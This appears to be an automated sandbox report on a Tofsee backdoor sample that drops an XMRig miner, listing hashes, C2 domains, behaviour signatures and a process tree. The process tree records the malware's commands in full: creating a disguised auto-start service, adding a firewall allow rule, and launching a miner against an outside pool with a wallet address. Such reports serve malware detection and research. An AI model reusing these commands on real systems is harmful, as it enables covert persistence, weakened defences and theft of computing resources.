Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-03-2023 12:46

General

  • Target

    01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe

  • Size

    195KB

  • MD5

    e6633af95778725d06d9adc558c55040

  • SHA1

    3020a3b73ca13402a9bf25ffadd8fe85fa091148

  • SHA256

    01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e

  • SHA512

    55efc150e23b178ea53f4c3fe24ea4162c56037ad0b03a5817ec2d64401fd0d21fa07717f88abb7f96337f768fed55d3b5c54ccf8eb40002561ea47d9244af12

  • SSDEEP

    3072:gUHMJ/RMC7brSsy0ELqqWq54W22KjCp1dsLXDOQbVYC2:gEM1RD7b2sy0nnqwbjAeLXrbV2

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe
    "C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4936
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cutkkhly\
      2⤵
        PID:712
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yewlqja.exe" C:\Windows\SysWOW64\cutkkhly\
        2⤵
          PID:224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cutkkhly binPath= "C:\Windows\SysWOW64\cutkkhly\yewlqja.exe /d\"C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description cutkkhly "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4548
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start cutkkhly
          2⤵
          • Launches sc.exe
          PID:2812
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2484
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 680
          2⤵
          • Program crash
          PID:1848
      • C:\Windows\SysWOW64\cutkkhly\yewlqja.exe
        C:\Windows\SysWOW64\cutkkhly\yewlqja.exe /d"C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3856
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2816
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4980
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 516
          2⤵
          • Program crash
          PID:1260
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4936 -ip 4936
        1⤵
          PID:672
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3856 -ip 3856
          1⤵
            PID:4664

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\yewlqja.exe

            Filesize

            10.4MB

            MD5

            20ac41d1f84f6a80d75f6130d367334b

            SHA1

            956e130496d6a8941df1deab3f8f1756a12463e0

            SHA256

            9cdba6976da9ee3b4a522a23728729dca294640c0ad9a9333ddfdcd218bf56fa

            SHA512

            1c2940b5ae8e928b098fe8e4fd5300349eb64b6479a3ccfd29934ae8fc42cac0341f02f4a8f04727abb47c390cba2100b1577ae3f2b35e0d067f10a33e4b1a64

          • C:\Windows\SysWOW64\cutkkhly\yewlqja.exe

            Filesize

            10.4MB

            MD5

            20ac41d1f84f6a80d75f6130d367334b

            SHA1

            956e130496d6a8941df1deab3f8f1756a12463e0

            SHA256

            9cdba6976da9ee3b4a522a23728729dca294640c0ad9a9333ddfdcd218bf56fa

            SHA512

            1c2940b5ae8e928b098fe8e4fd5300349eb64b6479a3ccfd29934ae8fc42cac0341f02f4a8f04727abb47c390cba2100b1577ae3f2b35e0d067f10a33e4b1a64

          • memory/2816-167-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-147-0x0000000000A70000-0x0000000000A85000-memory.dmp

            Filesize

            84KB

          • memory/2816-169-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-143-0x0000000000A70000-0x0000000000A85000-memory.dmp

            Filesize

            84KB

          • memory/2816-184-0x0000000000BE0000-0x0000000000BE7000-memory.dmp

            Filesize

            28KB

          • memory/2816-145-0x0000000000A70000-0x0000000000A85000-memory.dmp

            Filesize

            84KB

          • memory/2816-146-0x0000000000A70000-0x0000000000A85000-memory.dmp

            Filesize

            84KB

          • memory/2816-168-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-149-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/2816-152-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/2816-153-0x0000000000BB0000-0x0000000000BB6000-memory.dmp

            Filesize

            24KB

          • memory/2816-156-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-183-0x0000000007780000-0x0000000007B8B000-memory.dmp

            Filesize

            4.0MB

          • memory/2816-160-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-161-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-162-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-163-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-165-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-164-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-166-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-159-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-180-0x0000000007780000-0x0000000007B8B000-memory.dmp

            Filesize

            4.0MB

          • memory/2816-140-0x0000000000A70000-0x0000000000A85000-memory.dmp

            Filesize

            84KB

          • memory/2816-171-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-172-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-170-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-173-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-174-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-175-0x0000000000BC0000-0x0000000000BD0000-memory.dmp

            Filesize

            64KB

          • memory/2816-176-0x0000000000BD0000-0x0000000000BD5000-memory.dmp

            Filesize

            20KB

          • memory/2816-179-0x0000000000BD0000-0x0000000000BD5000-memory.dmp

            Filesize

            20KB

          • memory/3856-144-0x0000000000400000-0x0000000000574000-memory.dmp

            Filesize

            1.5MB

          • memory/4936-138-0x0000000000400000-0x0000000000574000-memory.dmp

            Filesize

            1.5MB

          • memory/4936-135-0x0000000000710000-0x0000000000723000-memory.dmp

            Filesize

            76KB

          • memory/4980-188-0x0000000000A60000-0x0000000000B51000-memory.dmp

            Filesize

            964KB

          • memory/4980-193-0x0000000000A60000-0x0000000000B51000-memory.dmp

            Filesize

            964KB

          • memory/4980-194-0x0000000000A60000-0x0000000000B51000-memory.dmp

            Filesize

            964KB

          • memory/4980-195-0x0000000000A60000-0x0000000000B51000-memory.dmp

            Filesize

            964KB

          • memory/4980-196-0x0000000000A60000-0x0000000000B51000-memory.dmp

            Filesize

            964KB

          • memory/4980-197-0x0000000000A60000-0x0000000000B51000-memory.dmp

            Filesize

            964KB

          • memory/4980-198-0x0000000000A60000-0x0000000000B51000-memory.dmp

            Filesize

            964KB

          • memory/4980-199-0x0000000000A60000-0x0000000000B51000-memory.dmp

            Filesize

            964KB